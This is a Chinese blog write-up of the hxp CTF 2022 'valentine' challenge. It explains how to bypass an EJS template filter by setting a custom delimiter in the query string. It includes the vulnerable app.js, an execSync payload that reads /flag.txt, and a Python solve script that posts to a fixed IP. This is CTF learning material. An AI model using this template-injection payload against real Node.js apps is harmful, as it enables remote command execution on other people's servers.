hxpctf2022 valentine
创始人
2024-06-02 20:07:22
0

valentine

image-20230313151945261

nodejs的ssti,可以任意修改前台的模板

app.js

var express = require('express');
var bodyParser = require('body-parser')
const crypto = require("crypto");
var path = require('path');
const fs = require('fs');var app = express();
viewsFolder = path.join(__dirname, 'views');if (!fs.existsSync(viewsFolder)) {fs.mkdirSync(viewsFolder);
}app.set('views', viewsFolder);
app.set('view engine', 'ejs');app.use(bodyParser.urlencoded({ extended: false }))app.post('/template', function(req, res) {let tmpl = req.body.tmpl;let i = -1;while((i = tmpl.indexOf("<%", i+1)) >= 0) {if (tmpl.substring(i, i+11) !== "<%= name %>") {res.status(400).send({message:"Only '<%= name %>' is allowed."});return;}}let uuid;do {uuid = crypto.randomUUID();} while (fs.existsSync(`views/${uuid}.ejs`))try {fs.writeFileSync(`views/${uuid}.ejs`, tmpl);} catch(err) {res.status(500).send("Failed to write Valentine's card");return;}let name = req.body.name ?? '';return res.redirect(`/${uuid}?name=${name}`);
});app.get('/:template', function(req, res) {let query = req.query;let template = req.params.templateif (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) {res.status(400).send("Not a valid card id")return;}if (!fs.existsSync(`views/${template}.ejs`)) {res.status(400).send('Valentine\'s card does not exist')return;}if (!query['name']) {query['name'] = ''}return res.render(template, query);
});app.get('/', function(req, res) {return res.sendFile('./index.html', {root: __dirname});
});app.listen(process.env.PORT || 3000);

前台模板

  

Happy Valentines Day <%= name %>

拿到题目的感觉是模板渲染嘛,并且是ejs模板

一般的payload是

<%= global.process.mainModule.require('child_process').execSync('cat /flag.txt') %>

但是修改前台模板的话,上面有校验

while((i = tmpl.indexOf("<%", i+1)) >= 0) {if (tmpl.substring(i, i+11) !== "<%= name %>") {res.status(400).send({message:"Only '<%= name %>' is allowed."});return;}

也就是说<%开头的必须为<%= name %>

它是这里来防止模板注入, 写题的时候走到这里就是想绕过校验,但是没有找到合适的方法。

现在wp出来了,发现其实思路正是绕过这里的校验,但并没有想象的那么简单,所以好好复现一下。

这里介绍到了可以影响模板解析的参数delimiter

在ejs的官网首页就有所谓的自定义分隔符

image-20230313154500621 image-20230313155217870

全局肯定不行了,所以使用单个模板文件方式,可以看到,其实就是多写一句{delimiter:'?'}

并且用ejs.render()同模板一起发送出去

看题目的代码也是存在render()

 return res.render(template, query);

要先拿到template参数,也就是uuid路径

看wp还有一个坑点,由于 POST 请求传入参数后会重定向,而重定向到的站没有定界符的模板,因此默认的定界符%被缓存以后无法覆盖。

所以需要禁止重定向:python

requests.port(..., allow_redirects=False)

其实我们用bp抓包就可以忽略这里的重定向问题哈哈哈,可以顺利拿到重定向的uudi路径

dockerfile给了提示flag要执行/readflag文件,那么payload是:


然后访问设置delimiter=?参数,即可拿到flag

image-20230313163259751

image-20230313163352953

相比于官方wp的脚本,bp来打更直观一点

看大佬们都是编写python脚本,一样的来写一下

import requestsurl = 'http://168.119.235.41:9086'data = {'tmpl':"<%= name %>",'name':'123'
}res = requests.post(url=url+'/template',data=data,allow_redirects=False)
#print(res.text)
path = res.headers['location']
print(path)
res2 = requests.get(url=url+path+'&delimiter=?')
print(res2.text)

image-20230313163914979

相关内容

热门资讯

qtm的篮球梦什么梗 qtm的篮球梦什么梗搞笑的啊打算
南阳台风的胖老婆是真的吗 南阳台风的胖老婆是真的吗南阳台风的胖老婆是一个传说,并没有任何真实可信的证据。
从外行到内行,从内行到外行 从外行到内行,从内行到外行下午在送女儿去学唱歌的路上,我听何老师讲自己如何成外行变成内行的音频。 ...
滞留17年,他走不出精神病院 转自:上观新闻编者按:2013年5月1日,历经27年漫长修法历程的《中华人民共和国精神卫生法》(以下...
康山街道唱响助企“四季歌” 转自:湖州日报  通讯员  乔滢煦   本报讯  “这次招聘会真是及时雨,帮我找到了心仪的工作。”来...
牛市旗手,重磅催化!T0算法涌... T0算法涌现!昨晚,一位券商客户经理向券商中国记者展示了“T0算法”给他的一位客户带来的收益情况:最...
我市“绿色黄金”海外出圈 转自:湖州日报  记者  陈颖   本报讯  经湖州海关检验放行,浙江养芝康生物科技有限公司生产的一...
湖羊援疆妙招连连 转自:湖州日报  记者  徐震  通讯员  李梦琪  本报讯  “我把20只羊托管给了企业,今天拿到...
中央一号文件|我国将建立脱贫攻... 新华财经北京2月24日电(记者古一平)23日发布的2025年中央一号文件提出,健全脱贫攻坚国家投入形...
六部门联合印发《关于推动中长期... 转自:河北日报六部门联合印发《关于推动中长期资金入市工作的实施方案》
Grok 3真是“地球最聪明”...   羊城晚报财经评论员 戚耀琪  据媒体报道,马斯克旗下人工智能公司xAI日前宣布,开放旗下AI模型...
提升10%!高标准农田建设对保... 新华财经北京2月24日电(记者古一平)耕地是粮食生产的命根子。2025年中央一号文件明确提出强化耕地...
我省首批燕赵名师工作室建设启动 转自:河北日报我省首批燕赵名师工作室建设启动 本报讯(记者陈华)2月23日,我省名师培养项目...
长沙日历 | 你的茶颜必喝款是... 获评长沙2024年度“消费引领突出贡献企业”的湖南茶悦文化产业发展集团在过去的2024年拓展了新的子...
机构:2025年春运民航旅客运... 航班管家数据显示,2025年春运,民航旅客运输总量约9020万人次,日均达225.5万人次,为历年春...
乌总统泽连斯基:如果能带来和平... 转自:央视新闻客户端 当地时间2月23日,乌克兰总统泽连...
摩根士丹利基金:AI方向拥挤度... 摩根士丹利基金认为,A股在中长期上依然重点关注AI方向,但短期来看其表现已经非常一致,拥挤度较高。除...
2025年度招商特训营开营 转自:湖州日报  记者  陈颖   本报讯  为强化招商引资“一号工程”,提升全市招商队伍综合素养和...
“单日数据处理量相当于全市公务... 转自:上观新闻最近,关于国产大模型DeepSeek在政务领域投入应用的新闻不少:深圳市福田区一次性上...
2025年全市关注森林活动工作... 转自:湖州日报  记者  臧晶晶  本报讯  2月21日,2025年全市关注森林活动工作座谈会召开。...